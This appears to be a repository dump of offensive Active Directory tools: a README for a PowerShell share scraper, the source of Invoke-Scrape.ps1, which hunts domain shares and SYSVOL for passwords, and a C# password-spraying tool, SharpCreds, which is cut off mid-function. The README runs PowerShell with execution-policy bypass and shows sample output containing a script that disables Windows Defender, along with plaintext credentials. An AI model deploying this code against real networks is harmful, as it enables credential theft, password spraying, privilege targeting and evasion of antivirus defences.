hunt for keywords in files stored across network shares, Invoke-NetShareScrape.ps1 will enumerate all shares the user that executed can access, and then scrape the following file doc formats .txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls for the user defined keywords. 20 | 21 | 22 | ``` 23 | PS C:\> powershell.exe -nop -exec bypass 24 | PS C:\> Import-Module Invoke-NetShareScrape.ps1 25 | PS C:\> Invoke-NetShareScrape 26 | 27 | Enter initial keyword (or press enter to finish): 28 | cat 29 | Enter additional keyword (or press enter to finish): 30 | 31 | 32 | 33 | 34 | ComputerName : WIN-MS87LHLC91U 35 | ShareName : NETLOGON 36 | FileName : Game1.txt 37 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Game1.txt 38 | MatchingLines : # Description: 39 | # This script disables Windows Defender. Run it once (will throw errors), then 40 | # reboot, run it again (this time no errors should occur) followed by another 41 | # reboot. 42 | 43 | Import-Module -DisableNameChecking $PSScriptRoot\..\lib\New-FolderForced.psm1 44 | Import-Module -DisableNameChecking $PSScriptRoot\..\lib\take-own.psm1 45 | 46 | Write-Output "Elevating priviledges for this process" 47 | do {} until (Elevate-Privileges SeTakeOwnershipPrivilege) 48 | 49 | $tasks = @( 50 | "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" 51 | "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" 52 | "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" 53 | "\Microsoft\Windows\Windows Defender\Windows Defender Verification" 54 | ) 55 | 56 | foreach ($task in $tasks) { 57 | $parts = $task.split('\') 58 | $name = $parts[-1] 59 | $path = $parts[0..($parts.length-2)] -join '\' 60 | 61 | Write-Output "Trying to disable scheduled task $name" 62 | Disable-ScheduledTask -TaskName "$name" -TaskPath "$path" 63 | } 64 | 65 | Write-Output "Disabling Windows Defender via Group Policies" 66 | New-FolderForced -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender" 67 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender" "DisableAntiSpyware" 1 68 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender" "DisableRoutinelyTakingAction" 1 69 | New-FolderForced -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection" 70 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection" "DisableRealtimeMonitoring" 1 71 | 72 | password = fishandchips1 73 | 74 | 75 | Write-Output "Disabling Windows Defender Services" 76 | Takeown-Registry("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend") 77 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" "Start" 4 78 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" "... 79 | AdditionalKeywordsFound : 80 | 81 | ComputerName : WIN-MS87LHLC91U 82 | ShareName : NETLOGON 83 | FileName : Startup.bat 84 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Brandon_DiCam\Startup.bat 85 | MatchingLines : param ( 86 | [string]$Username = 'user2', 87 | [string]$Password = 'Passw0rd!' 88 | ) 89 | 90 | $SecurePassword = ConvertTo-SecureString $Password -AsPlainText -Force 91 | $Credential = New-Object System.Management.Automation.PSCredential ($Username, $SecurePassword) 92 | 93 | $Domain = 'your_domain' 94 | $Query = "SELECT * FROM Win32_ComputerSystem WHERE PartOfDomain = 'True'" 95 | 96 | try { 97 | $DomainHosts = Get-WmiObject -Query $Query -ComputerName $Domain -Credential $Credential 98 | foreach ($Host in $DomainHosts) { 99 | Write-Output "Host: $($Host.Name)" 100 | } 101 | } catch { 102 | Write-Output "Error occurred: $_" 103 | } 104 | 105 | AdditionalKeywordsFound : 106 | 107 | ComputerName : WIN-MS87LHLC91U 108 | ShareName : NETLOGON 109 | FileName : Script1.txt 110 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Test2\Dog_Cat\Script1.txt 111 | MatchingLines : 112 | fsfsfssf 113 | 114 | cars 115 | 116 | cats 117 | 118 | 119 | dshdsghsdhsdhds 120 | 121 | dsdsfhjsdgsdfhsdfsdf 122 | sdf 123 | sdf 124 | dsds 125 | dsds 126 | ds 127 | sd 128 | sd 129 | hhgghadgadgadgadsad 130 | das 131 | 132 | 133 | 134 | 135 | 136 | 137 | username=User23&password=Superdope1 138 | 139 | 140 | sdhdsdsdsds 141 | AdditionalKeywordsFound : 142 | 143 | ComputerName : WIN-MS87LHLC91U 144 | ShareName : NETLOGON 145 | FileName : Script3.txt 146 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Test2\Dog_Cat\Script3.txt 147 | MatchingLines : "劇団四季ミュージカル『キャッツã€ãƒ¡ãƒ¢ãƒªã‚¢ãƒ«ã‚¨ãƒ‡ã‚£ã‚·ãƒ§ãƒ³" (in Japanese). Oricon. Archived from the original on 3 May 2019. Retrieved 3 May 2019. 148 | "Musical – Cats (Nederlandstalige Versie 1987)" (in Dutch). Dutch Charts. Retrieved 29 April 2019. 149 | "charts.nz – Search for: cats". New Zealand charts portal. Retrieved 30 April 2019. 150 | "Official Albums Chart Results Matching: Cats". Official Charts Company. Retrieved 30 April 2019. 151 | "Stage Cast Recordings: Cats (London)". British Phonographic Industry. Retrieved 25 March 2019. 152 | Grein, Paul (24 July 1982). "Geffen Putting Emphasis On Broadway Productions". Billboard. Vol. 94, no. 29. p. 68. ISSN 0006-2510. 153 | "Original London Cast: Cats [Original London Cast Recording]". AllMusic. Archived from the original on 24 March 2019. Retrieved 19 October 2013. 154 | "Original Cast Recording: Cats". British Phonographic Industry. Retrieved 30 April 2019. 155 | "Edelmetall – Suche nach: cats". Swiss Hitparade. Retrieved 30 April 2019. 156 | Culwell-Block, Logan. "The Definitive List of the 42 Best-Selling Cast Recordings of All Time". Playbill. Archived from the original on 24 March 2019. Retrieved 25 March 2019. 157 | "Cats (Original Cast)". Recording Industry Association of America. Archived from the original on 24 March 2019. Retrieved 25 March 2019. 158 | "Musical – Cats (Wien)" (in German). Universal Music Austria. Archived from the original on 29 April 2019. Retrieved 29 April 2019. 159 | Sampson, Jim (16 March 1985). "Special Report: West Germany, Austria, Switzerland ...Newsline..." Billboard. Vol. 97, no. 11. p. 9. ISSN 0006-2510. 160 | "Cats – Theater ad Vienna" (in German). Bundesverband Musikindustrie. Retrieved 30 April 2019. 161 | "Cats sound recording: the original Australian cast". Trove. Archived from the original on 25 March 2019. Retrieved 25 March 2019. 162 | "劇団四季ミュージカル CATS オリジナル・キャスト" [Gekidan Shiki Musical CATS Original Cast] (in Japanese). Amazon. Archived from the original on 26 M... 163 | AdditionalKeywordsFound : 164 | 165 | ComputerName : LABLAB-PC1 166 | ShareName : The-Shares 167 | FileName : Look1.txt 168 | FullName : \\LABLAB-PC1\The-Shares\Look1.txt 169 | MatchingLines : ffdfdfffdfdfdfdf 170 | dfgf 171 | dgf 172 | gdg 173 | dgdggddggd 174 | 175 | 176 | golf 177 | 178 | fdfd 179 | dffdfd 180 | 181 | 182 | 183 | password is Catman1 184 | 185 | ``` 186 | -------------------------------------------------------------------------------- /DomainScrape/Invoke-Scrape.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-Scrape { 2 | 3 | function Show-Menu { 4 | Clear-Host 5 | Write-Host "=== Menu ===" 6 | Write-Host "1. Scrape the Domain Controller" 7 | Write-Host "2. Scrape all Domain Shares" 8 | Write-Host "Q. Quit" 9 | Write-Host 10 | } 11 | # Check for -ExcludeDCs option 12 | $excludeDCs = $false 13 | if ($args -contains "-ExcludeDCs") { 14 | $excludeDCs = $true 15 | Write-Host "Excluding domain controllers..." 16 | } 17 | 18 | function SkipDCs { 19 | if ($excludeDCs) { 20 | Write-Host "Skipping domain controller scrape due to -ExcludeDCs option." 21 | return 22 | } 23 | Write-Host "Scraping the DC..." 24 | function SearchForKeywords { 25 | param ( 26 | [string[]]$initialKeywords, 27 | [string]$domain = $env:USERDNSDOMAIN, 28 | [string[]]$additionalKeywords 29 | ) 30 | 31 | $domainController = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).DomainControllers | Select-Object -First 1 32 | $netlogonPath = "\\$($domainController.Name)\SYSVOL\$domain" 33 | $matchesFound = $false 34 | $matchedFileNames = @() 35 | 36 | Get-ChildItem -Path $netlogonPath -Recurse -File | Where-Object { $_.Name -notin @('GptTmpl.inf', 'GPT.INI', 'Registry.pol') -and $_.Extension -match '^(?:\.txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls)$' } | ForEach-Object { 37 | $content = Get-Content $_.FullName 38 | 39 | foreach ($line in $content) { 40 | $initialMatches = $initialKeywords | Where-Object { $line -like "*$_*" } 41 | $additionalMatches = $additionalKeywords | Where-Object { $line -like "*$_*" } 42 | 43 | if ($initialMatches -or $additionalMatches) { 44 | $matchesFound = $true; 45 | 46 | $contextStart = [Math]::Max(0, [Array]::IndexOf($content, $line) - 3) 47 | $contextEnd = [Math]::Min([Array]::IndexOf($content, $line) + 3, $content.Count - 1) 48 | $context = $content[$contextStart..$contextEnd] 49 | 50 | $additionalKeywordsFound = $additionalKeywords | Where-Object { $context -cmatch "(?i)$_" } 51 | 52 | $username = $line | Select-String -Pattern '(?i)username\s*[:=]\s*(.+)' -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value } 53 | if ([string]::IsNullOrEmpty($username)) { 54 | $username = $context -join ' ' 55 | } 56 | 57 | $password = $line | Select-String -Pattern '(?i)(?:password|passw|cred)\s*[=:]\s*(\S+)' -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value } 58 | if ([string]::IsNullOrEmpty($password)) { 59 | $password = $content | Select-String -Pattern '(?i)(?:password|passw|cred)\s*[=:]\s*(\S+)' -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value } 60 | } 61 | if ([string]::IsNullOrEmpty($password)) { 62 | $password = $line 63 | } 64 | 65 | if ($_.Name -notin $matchedFileNames) { 66 | $matchedFileNames += $_.Name 67 | 68 | [PSCustomObject]@{ 69 | FileName = $_.Name 70 | FullName = $_.FullName 71 | PrecedingContext = $context[0..($context.IndexOf($line) - 1)] 72 | MatchingLine = $line 73 | TrailingContext = $context[($context.IndexOf($line) + 1)..($context.Count - 1)] 74 | AdditionalKeywordsFound = $additionalKeywordsFound 75 | Username = $username 76 | Password = $password 77 | } 78 | } 79 | } 80 | } 81 | } 82 | 83 | if (-not $matchesFound) { 84 | Write-Host "No matches found." 85 | } 86 | } 87 | 88 | function PromptForCustomKeywords { 89 | $initialKeywords = @() 90 | $additionalKeywords = @() 91 | 92 | do { 93 | $keyword = Read-Host "Enter initial keyword (or press enter to finish)" 94 | if (![string]::IsNullOrEmpty($keyword)) { 95 | $initialKeywords += $keyword 96 | } 97 | } while (![string]::IsNullOrEmpty($keyword)) 98 | 99 | SearchForKeywords -initialKeywords $initialKeywords -additionalKeywords $additionalKeywords 100 | } 101 | 102 | function ShowMenu { 103 | Write-Host "1. Use default keywords" 104 | Write-Host "2. Enter custom keywords" 105 | Write-Host "0. Exit" 106 | 107 | $choice = Read-Host "Enter your choice" 108 | 109 | switch ($choice) { 110 | "1" { 111 | $initialKeywords = @( 112 | 'password', 'cpassword', 'passw', 'cred', 113 | 'Password', 'Cpassword', 'Passw', 'Cred', 114 | 'Password:', 'password:', 'Password=', 115 | 'password=', 'password ', 'cpassword ', 116 | 'passw ', 'cred ', 'Password ', 'Cpassword ', 117 | 'Passw ', 'Cred ', 'Password: ', 'password: ', 118 | 'Password= ', 'password= ', 'Password : ', 119 | 'password : ', 'Password = ', 'password = ' 120 | ) 121 | $additionalKeywords = @( 122 | 'user', 'username', 'name', 'User', 123 | 'Username', 'Name', 'Username:', 'username:', 124 | 'Username=', 'username=', 'user ', 'username ', 125 | 'name ', 'User ', 'Username ', 'Name ', 126 | 'Username: ', 'username: ', 'Username= ', 127 | 'username= ', 'Username : ', 'username : ', 128 | 'Username = ', 'username = ' 129 | ) 130 | 131 | SearchForKeywords -initialKeywords $initialKeywords -additionalKeywords $additionalKeywords 132 | } 133 | "2" { 134 | PromptForCustomKeywords 135 | } 136 | "0" { 137 | # Exit 138 | } 139 | default { 140 | Write-Host "Invalid choice. Please try again." 141 | ShowMenu 142 | } 143 | } 144 | } 145 | 146 | ShowMenu 147 | 148 | Write-Host "Script 1 executed!" 149 | Read-Host "Press Enter to return to the menu" 150 | } 151 | 152 | function Execute-Script2 { 153 | Write-Host "Scraping all Domain Shares..." 154 | Add-Type -TypeDefinition @' 155 | using System; 156 | using System.Runtime.InteropServices; 157 | 158 | public class Netapi32 { 159 | [DllImport("Netapi32.dll")] 160 | public static extern int DsRoleGetPrimaryDomainInformation( 161 | string lpServer, 162 | int InfoLevel, 163 | out IntPtr Buffer 164 | ); 165 | 166 | [DllImport("Netapi32.dll")] 167 | public static extern int NetApiBufferFree(IntPtr Buffer); 168 | 169 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] 170 | public static extern int NetShareEnum( 171 | string serverName, 172 | int level, 173 | ref IntPtr bufPtr, 174 | int prefMaxLen, 175 | ref int entriesRead, 176 | ref int totalEntries, 177 | ref int resumeHandle 178 | ); 179 | } 180 | 181 | [StructLayout(LayoutKind.Sequential)] 182 | public struct DSROLE_PRIMARY_DOMAIN_INFO_BASIC { 183 | public IntPtr DomainNameFlat; 184 | public int DomainRole; 185 | public IntPtr DomainNameDns; 186 | public IntPtr DomainForestName; 187 | public int Flags; 188 | } 189 | 190 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 191 | public struct SHARE_INFO_1 { 192 | [MarshalAs(UnmanagedType.LPWStr)] 193 | public string shi1_netname; 194 | public uint shi1_type; 195 | [MarshalAs(UnmanagedType.LPWStr)] 196 | public string shi1_remark; 197 | } 198 | 199 | public class SHARE_INFO_1_Helper { 200 | public static int GetSize() { 201 | return Marshal.SizeOf(typeof(SHARE_INFO_1)); 202 | } 203 | } 204 | '@ 205 | 206 | function IsDomainController { 207 | $domainControllerRole = 3 # DSROLE_PRIMARY_DOMAIN_INFO_BASIC.DomainRole for a domain controller 208 | 209 | $bufferPtr = [IntPtr]::Zero 210 | $result = [Netapi32]::DsRoleGetPrimaryDomainInformation($null, 0, [ref]$bufferPtr) 211 | 212 | if ($result -eq 0 -and $bufferPtr -ne [IntPtr]::Zero) { 213 | $domainInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($bufferPtr, [type][DSROLE_PRIMARY_DOMAIN_INFO_BASIC]) 214 | 215 | if ($domainInfo.DomainRole -eq $domainControllerRole) { 216 | return $true 217 | } 218 | } 219 | 220 | if ($bufferPtr -ne [IntPtr]::Zero) { 221 | [Netapi32]::NetApiBufferFree($bufferPtr) 222 | } 223 | 224 | return $false 225 | } 226 | 227 | function Get-Shares { 228 | [OutputType('ShareInfo')] 229 | [CmdletBinding()] 230 | Param( 231 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 232 | [Alias('HostName', 'dnshostname', 'name')] 233 | [ValidateNotNullOrEmpty()] 234 | [String[]] 235 | $ComputerName = $null 236 | ) 237 | 238 | BEGIN { 239 | if (-not $ComputerName) { 240 | $adSearcher = [adsisearcher]'(objectCategory=computer)' 241 | $adSearcher.SearchScope = 'Subtree' 242 | $adSearcher.PageSize = 1000 243 | $adSearcher.PropertiesToLoad.AddRange(@('name')) 244 | $ComputerName = $adSearcher.FindAll() | ForEach-Object { $_.Properties['name'][0] } 245 | } 246 | } 247 | 248 | PROCESS { 249 | foreach ($DomainHost in $ComputerName) { 250 | $QueryLevel = 1 251 | $PtrInfo = [IntPtr]::Zero 252 | $EntriesRead = 0 253 | $TotalRead = 0 254 | $ResumeHandle = 0 255 | 256 | $Result = [Netapi32]::NetShareEnum($DomainHost, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 257 | $Offset = $PtrInfo.ToInt64() 258 | 259 | if (($Result -eq 0) -and ($Offset -gt 0)) { 260 | $Increment = [SHARE_INFO_1_Helper]::GetSize() 261 | 262 | for ($i = 0; $i -lt $EntriesRead; $i++) { 263 | $NewIntPtr = New-Object System.IntPtr -ArgumentList $Offset 264 | $Info = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NewIntPtr, [type][SHARE_INFO_1]) 265 | 266 | if (($Info.shi1_netname -ne 'ADMIN$') -and ($Info.shi1_netname -ne 'C$') -and ($Info.shi1_netname -ne 'IPC$')) { 267 | "\\$DomainHost\$($Info.shi1_netname)" 268 | } 269 | 270 | $Offset += $Increment 271 | } 272 | 273 | $Null = [Netapi32]::NetApiBufferFree($PtrInfo) 274 | } 275 | else { 276 | Write-Verbose "[Get-Shares] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 277 | } 278 | } 279 | } 280 | } 281 | 282 | function PromptForCustomKeywords { 283 | [CmdletBinding()] 284 | param ( 285 | [Switch]$ExcludeCurrentMachine 286 | ) 287 | 288 | $computerName = $env:COMPUTERNAME 289 | $currentMachinePath = "\\$computerName" 290 | 291 | $keywords = @() 292 | 293 | Write-Host "Enter initial keyword (or press enter to finish):" 294 | $keyword = Read-Host 295 | 296 | while ($keyword -ne '') { 297 | $keywords += $keyword 298 | Write-Host "Enter additional keyword (or press enter to finish):" 299 | $keyword = Read-Host 300 | } 301 | 302 | Write-Host 303 | 304 | $shares = Get-Shares 305 | 306 | foreach ($share in $shares) { 307 | $sharePath = "\\$($share.Split('\')[2])\$($share.Split('\')[3])" 308 | 309 | if ($excludeCurrentMachine -and ($sharePath -eq $currentMachinePath)) { 310 | continue 311 | } 312 | 313 | try { 314 | 315 | Get-ChildItem -LiteralPath $sharePath -Recurse -File -ErrorAction Stop | Where-Object { $_.Name -notin @('GptTmpl.inf', 'GPT.INI', 'Registry.pol') -and $_.Extension -match '^(?:\.txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls)$' } | ForEach-Object { 316 | $fileContent = Get-Content -LiteralPath $_.FullName -Raw 317 | 318 | $matchingLines = $fileContent | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false 319 | 320 | if ($matchingLines) { 321 | $matchingWords = ($matchingLines.Line | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false -AllMatches).Matches.Value -join ' ' 322 | 323 | [PSCustomObject]@{ 324 | ComputerName = $share.Split('\')[2] 325 | ShareName = $share.Split('\')[3] 326 | FileName = $_.Name 327 | FullName = $_.FullName 328 | MatchingLines = if ($matchingLines.Line.Length -le 2000) { $matchingLines.Line } else { $matchingLines.Line.Substring(0, 2000) + "..." } 329 | AdditionalKeywordsFound = $matchingWords 330 | } 331 | } 332 | } 333 | } 334 | catch { 335 | Write-Verbose "[PromptForCustomKeywords] Error accessing share '$sharePath': $($_.Exception.Message)" 336 | } 337 | } 338 | } 339 | 340 | PromptForCustomKeywords -ExcludeCurrentMachine 341 | 342 | Write-Host "Script 2 executed!" 343 | Read-Host "Press Enter to return to the menu" 344 | } 345 | 346 | $exitMenu = $false 347 | 348 | do { 349 | Show-Menu 350 | $input = Read-Host "Enter your choice" 351 | 352 | switch ($input) { 353 | '1' { 354 | SkipDCs 355 | break 356 | } 357 | '2' { 358 | Execute-Script2 359 | break 360 | } 361 | 'Q' { 362 | $exitMenu = $true 363 | break 364 | } 365 | default { 366 | Write-Host "Invalid input. Please try again." 367 | Pause 368 | } 369 | } 370 | } while (-not $exitMenu) 371 | 372 | 373 | } 374 | -------------------------------------------------------------------------------- /SharpCred/SharpCreds/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.DirectoryServices.AccountManagement; 5 | using System.Linq; 6 | 7 | 8 | class Program 9 | { 10 | static void Main() 11 | { 12 | Console.WriteLine("Welcome to SharpCreds"); 13 | Console.WriteLine(); 14 | 15 | while (true) 16 | { 17 | Console.Write("Enter the domain name: "); 18 | string domainName = Console.ReadLine(); 19 | 20 | Console.Write("Enter the username: "); 21 | string username = Console.ReadLine(); 22 | 23 | Console.Write("Enter the password: "); 24 | string password = ReadPassword(); 25 | 26 | if (AuthenticateUser(domainName, username, password)) 27 | { 28 | Console.WriteLine(); 29 | Console.WriteLine("Authentication successful!"); 30 | Console.WriteLine("Generating list of usernames..."); 31 | Console.WriteLine(); 32 | 33 | List usernames = new List(); 34 | 35 | while (true) 36 | { 37 | Console.WriteLine("Choose an option:"); 38 | Console.WriteLine("1. Generate usernames using LDAP query"); 39 | Console.WriteLine("2. Provide usernames from a file"); 40 | Console.WriteLine("3. Enumerate domain password policy"); 41 | Console.WriteLine("4. Quit"); 42 | Console.WriteLine(); 43 | Console.Write("Enter your choice: "); 44 | 45 | string option = Console.ReadLine(); 46 | 47 | switch (option) 48 | { 49 | case "1": 50 | Tuple> result = GenerateUsernames(domainName, username, password); 51 | usernames = result.Item2; 52 | int count = result.Item1; 53 | Console.WriteLine($"List of {count} usernames generated successfully."); 54 | 55 | Console.WriteLine(); 56 | Console.Write("Do you want to save a copy of the username list? (Y/N): "); 57 | string saveCopyOption = Console.ReadLine(); 58 | 59 | if (saveCopyOption.Equals("Y", StringComparison.OrdinalIgnoreCase)) 60 | { 61 | Console.Write("Enter the file name to save the usernames (without extension): "); 62 | string fileName = Console.ReadLine(); 63 | 64 | string filePath = $"{AppDomain.CurrentDomain.BaseDirectory}{fileName}.txt"; 65 | 66 | try 67 | { 68 | System.IO.File.WriteAllLines(filePath, usernames); 69 | Console.WriteLine($"Usernames saved successfully to {filePath}"); 70 | } 71 | catch (Exception ex) 72 | { 73 | Console.WriteLine($"Error saving usernames to file: {ex.Message}"); 74 | } 75 | } 76 | 77 | Console.WriteLine(); 78 | Console.Write("Press Enter to continue..."); 79 | Console.ReadLine(); 80 | 81 | break; 82 | 83 | case "2": 84 | usernames = ReadUsernamesFromFile(); 85 | Console.WriteLine("Usernames loaded successfully."); 86 | break; 87 | case "3": 88 | EnumerateDomainPasswordPolicy(domainName, username, password); 89 | break; 90 | case "4": 91 | return; 92 | default: 93 | Console.WriteLine("Invalid option. Please try again."); 94 | continue; 95 | } 96 | 97 | Console.WriteLine(); 98 | 99 | while (true) 100 | { 101 | Console.Write("Enter a password to try against the usernames ('b' to return to the original menu or 'q' to quit): "); 102 | string input = Console.ReadLine(); 103 | 104 | if (input == "q") 105 | return; 106 | 107 | if (input == "b") 108 | break; 109 | 110 | Console.WriteLine(); 111 | Console.ForegroundColor = ConsoleColor.Green; 112 | Console.WriteLine("Usernames that match the provided password..."); 113 | Console.ResetColor(); 114 | 115 | List validCredentials = new List(); 116 | 117 | foreach (string user in usernames) 118 | { 119 | if (AuthenticateUser(domainName, user, input)) 120 | { 121 | Console.WriteLine($"Valid credentials: {domainName}\\{user}"); 122 | validCredentials.Add(user); 123 | } 124 | } 125 | 126 | Console.WriteLine(); 127 | Console.ForegroundColor = ConsoleColor.Blue; 128 | Console.WriteLine("Retrieving domain groups for valid credentials..."); 129 | Console.ResetColor(); 130 | 131 | foreach (string validUser in validCredentials) 132 | { 133 | List groups = GetDomainGroups(domainName, validUser, username, password); 134 | if (groups.Count > 0) 135 | { 136 | string groupNames = string.Join(", ", groups); 137 | Console.WriteLine($"{domainName}\\{validUser} - {groupNames}"); 138 | } 139 | else 140 | { 141 | Console.WriteLine($"{domainName}\\{validUser} - No domain groups found."); 142 | } 143 | } 144 | 145 | Console.WriteLine(); 146 | 147 | // Check for high privileged accounts 148 | Dictionary> highPrivilegedAccounts = new Dictionary>(); 149 | 150 | foreach (string validUser in validCredentials) 151 | { 152 | Dictionary> matchedAccounts = IsHighPrivilegedAccount(domainName, validUser, username, password); 153 | foreach (var entry in matchedAccounts) 154 | { 155 | string user = entry.Key; 156 | List matchedGroups = entry.Value; 157 | 158 | if (highPrivilegedAccounts.ContainsKey(user)) 159 | { 160 | highPrivilegedAccounts[user].AddRange(matchedGroups); 161 | } 162 | else 163 | { 164 | highPrivilegedAccounts[user] = matchedGroups; 165 | } 166 | } 167 | } 168 | 169 | // Display high privileged accounts 170 | if (highPrivilegedAccounts.Count > 0) 171 | { 172 | Console.ForegroundColor = ConsoleColor.Yellow; 173 | Console.WriteLine("High Privileged Accounts:"); 174 | Console.ResetColor(); 175 | foreach (var entry in highPrivilegedAccounts) 176 | { 177 | string user = entry.Key; 178 | List matchedGroups = entry.Value; 179 | 180 | string groupNames = string.Join(", ", matchedGroups); 181 | Console.WriteLine($"{domainName}\\{user} - {groupNames}"); 182 | } 183 | Console.WriteLine(); // Add this line to insert a blank line 184 | } 185 | } 186 | } 187 | } 188 | else 189 | { 190 | Console.WriteLine("Authentication failed. Invalid credentials."); 191 | Console.WriteLine("Please try again."); 192 | } 193 | 194 | Console.ReadLine(); 195 | } 196 | 197 | static bool AuthenticateUser(string domainName, string username, string password) 198 | { 199 | try 200 | { 201 | using (DirectoryEntry directoryEntry = new DirectoryEntry($"LDAP://{domainName}", username, password)) 202 | { 203 | object nativeObject = directoryEntry.NativeObject; 204 | } 205 | 206 | return true; 207 | } 208 | catch 209 | { 210 | return false; 211 | } 212 | } 213 | 214 | static Tuple> GenerateUsernames(string domainName, string username, string password) 215 | { 216 | List usernames = new List(); 217 | 218 | try 219 | { 220 | using (DirectoryEntry entry = new DirectoryEntry($"LDAP://{domainName}", username, password)) 221 | { 222 | using (DirectorySearcher searcher = new DirectorySearcher(entry)) 223 | { 224 | searcher.Filter = "(&(objectCategory=user))"; 225 | searcher.PropertiesToLoad.Add("sAMAccountName"); 226 | 227 | searcher.PageSize = 1000; // Set a higher page size to retrieve more results 228 | 229 | using (SearchResultCollection results = searcher.FindAll()) 230 | { 231 | foreach (SearchResult result in results) 232 | { 233 | string usernameProperty = result.Properties["sAMAccountName"][0].ToString(); 234 | usernames.Add(usernameProperty); 235 | } 236 | } 237 | } 238 | } 239 | } 240 | catch (Exception ex) 241 | { 242 | Console.WriteLine($"Error generating list of usernames: {ex.Message}"); 243 | } 244 | 245 | return new Tuple>(usernames.Count, usernames); 246 | } 247 | 248 | 249 | static List GetDomainGroups(string domainName, string username, string adminUsername, string adminPassword) 250 | { 251 | List groups = new List(); 252 | 253 | try 254 | { 255 | using (PrincipalContext context = new PrincipalContext(ContextType.Domain, domainName, adminUsername, adminPassword)) 256 | { 257 | using (UserPrincipal userPrincipal = UserPrincipal.FindByIdentity(context, IdentityType.SamAccountName, username)) 258 | { 259 | if (userPrincipal != null) 260 | { 261 | PrincipalSearchResult principalSearchResult = userPrincipal.GetAuthorizationGroups(); 262 | 263 | foreach (Principal principal in principalSearchResult) 264 | { 265 | if (principal is GroupPrincipal groupPrincipal) 266 | { 267 | groups.Add(groupPrincipal.SamAccountName); 268 | } 269 | } 270 | } 271 | } 272 | } 273 | } 274 | catch (Exception ex) 275 | { 276 | Console.WriteLine($"Error retrieving domain groups: {ex.Message}"); 277 | } 278 | 279 | return groups; 280 | } 281 | 282 | static Dictionary> IsHighPrivilegedAccount(string domainName, string username, string adminUsername, string adminPassword) 283 | { 284 | Dictionary> highPrivilegedAccounts = new Dictionary>(); 285 | 286 | List privilegedGroups = new List 287 | { 288 | "Administrators", 289 | "Schema Admins", 290 | "Enterprise Admins", 291 | "Domain Admins" 292 | }; 293 | 294 | try 295 | { 296 | using (PrincipalContext context = new PrincipalContext(ContextType.Domain, domainName, adminUsername, adminPassword)) 297 | { 298 | using (UserPrincipal userPrincipal = UserPrincipal.FindByIdentity(context, IdentityType.SamAccountName, username)) 299 | { 300 | if (userPrincipal != null) 301 | { 302 | PrincipalSearchResult principalSearchResult = userPrincipal.GetAuthorizationGroups(); 303 | 304 | foreach (Principal principal in principalSearchResult) 305 | { 306 | if (principal is GroupPrincipal groupPrincipal) 307 | { 308 | if (privilegedGroups.Contains(groupPrincipal.SamAccountName)) 309 | { 310 | if (highPrivilegedAccounts.ContainsKey(username)) 311 | { 312 | highPrivilegedAccounts[username].Add(groupPrincipal.SamAccountName); 313 | } 314 | else 315 | { 316 | highPrivilegedAccounts[username] = new List { groupPrincipal.SamAccountName }; 317 | } 318 | } 319 | } 320 | } 321 | } 322 | } 323 | } 324 | } 325 | catch (Exception ex) 326 | { 327 | Console.WriteLine($"Error checking high privileged accounts: {ex.Message}"); 328 | } 329 | 330 | return highPrivilegedAccounts; 331 | } 332 | 333 | static List ReadUsernamesFromFile() 334 | { 335 | Console.Write("Enter the path to the file containing usernames: "); 336 | string filePath = Console.ReadLine(); 337 | 338 | List usernames = new List(); 339 | 340 | try 341 | { 342 | usernames = System.IO.File.ReadAllLines(filePath).ToList(); 343 | } 344 | catch (Exception ex) 345 | { 346 | Console.WriteLine($"Error reading usernames from file: {ex.Message}"); 347 | } 348 | 349 | return usernames; 350 | } 351 | 352 | static void EnumerateDomainPasswordPolicy(string domainName, string username, string password) 353 | { 354 | Console.WriteLine(); 355 | Console.WriteLine("Enumerating domain password policy..."); 356 | Console.WriteLine(); 357 | 358 | try 359 | { 360 | using (DirectoryEntry entry = new DirectoryEntry($"LDAP://{domainName}", username, password)) 361 | { 362 | using (DirectorySearcher searcher = new DirectorySearcher(entry)) 363 | { 364 | searcher.Filter = "(objectClass=domain)"; 365 | searcher.PropertiesToLoad.Add("maxPwdAge"); 366 | searcher.PropertiesToLoad.Add("minPwdAge"); 367 | searcher.PropertiesToLoad.Add("lockoutThreshold"); 368 | searcher.PropertiesToLoad.Add("lockoutDuration"); 369 | searcher.PropertiesToLoad.Add("pwdHistoryLength"); 370 | searcher.PropertiesToLoad.Add("lockoutObservationWindow"); 371 | 372 | 